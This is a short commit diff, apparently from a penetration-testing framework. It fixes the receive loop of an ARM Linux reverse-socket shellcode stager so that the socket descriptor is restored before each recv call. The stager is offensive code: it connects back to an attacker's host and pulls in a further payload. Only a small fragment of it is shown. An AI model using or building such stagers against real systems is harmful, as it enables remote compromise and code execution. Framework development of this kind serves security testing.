Restore r0 on each iteration

Author: enty8080

external/source/shellcode/linux/armle/stager_sock_reverse.s

@@ -75,10 +75,10 @@ _start:
 @ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
 	add r7,#99         @ __NR_recv
 	mov r1,r0          @ *buf
-	mov r0,r12         @ sockfd
 	mov r3,#0          @ flags
 @ remove blocksize from total length
 loop:
+	mov r0,r12         @ sockfd
 	ldr r2,[sp,#0]
 	sub r2,#1000
 	str r2,[sp,#0]
@@ -88,7 +88,6 @@ loop:
 	swi 0
 	cmp r0, #0
 	blt failed
- 	mov r0, r12        @ replace return code with sockfd
 	b loop
 last:
 	add r2,#1000       @ len